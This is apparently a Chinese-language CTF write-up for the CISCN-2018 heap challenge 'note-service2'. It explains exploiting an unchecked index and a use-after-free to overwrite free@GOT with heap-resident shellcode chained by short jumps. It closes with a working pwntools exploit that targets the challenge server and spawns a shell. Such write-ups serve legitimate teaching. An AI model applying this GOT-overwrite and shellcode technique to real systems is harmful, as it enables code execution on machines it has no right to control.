note-service2

题目来源: CISCN-2018-Quals

 

本题开启了canary和pie,但是没有NX保护,并且是partial relro

程序是一个菜单堆,给了增和删两个功能,最多允许增加12次

在增的部分没有对index进行检查,因此可以任意写堆地址

在删的部分存在UAF

 

本题的思路是覆盖free_got为一个堆地址,里面写shellcode

不过有一个问题是,每个堆块最多只允许写8个长度的内容(最后一定以\x00结尾),shellcode写不下

这时候可以通过jmp short进行跳转,jmp short的字节码是\xEB,然后后面接跳转的距离,正数向后跳,负数向前跳,范围是-128~127

举个例子,如果在0x001的位置是一个jmp short,那么0x002就是距离,假如想要跳转到0x005,那么需要跨过0x003和0x004,因此距离是2,0x002位置应该是\x02

每次的堆只要以\xEB\x19结尾(跳转0x19的原因主要是需要跳过一个\x00,fastbin后面空着的8位,下一个fastbin的prev_size和size位,1+8+8+8=0x19),就能跳到相邻的下一个堆块的内容部分继续执行

但是每段的长度都不能长

如果需要置某个寄存器为0,那么最好用xor rdx, rdx这种形式,它的长为3

mov rax, 59长度是7,而mov eax, 59长度就是5

因此只需要预留出一个堆块内容是/bin/sh,然后覆盖free_got为shellcode,然后free(/bin/sh)就能把/bin/sh传入rdi,然后执行shellcode

 

exp如下:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

#io = process('./note-service2')
io = remote('111.200.241.244', 63165)

def add_note(index, size, content):
    io.recvuntil('your choice>> ')
    io.sendline('1')
    io.recvuntil('index:')
    io.sendline(str(index))
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.sendline(content)

def del_note(index):
    io.recvuntil('your choice>> ')
    io.sendline('4')
    io.recvuntil('index:')
    io.sendline(str(index))

add_note(0, 8, '/bin/sh')

add_note(-17, 8, asm('xor rdx, rdx').ljust(5, b'\x90') + b'\xeb\x19')
add_note(1, 8, asm('xor rsi, rsi').ljust(5, b'\x90') + b'\xeb\x19')
add_note(2, 8, asm('mov eax, 59').ljust(5, b'\x90') + b'\xeb\x19')
add_note(3, 8, asm('syscall').ljust(5, b'\x90') + b'\xeb\x19')

del_note(0)

io.interactive()

 

posted @ 2021-09-21 22:31  hktk1643  阅读(81)  评论(0编辑  收藏  举报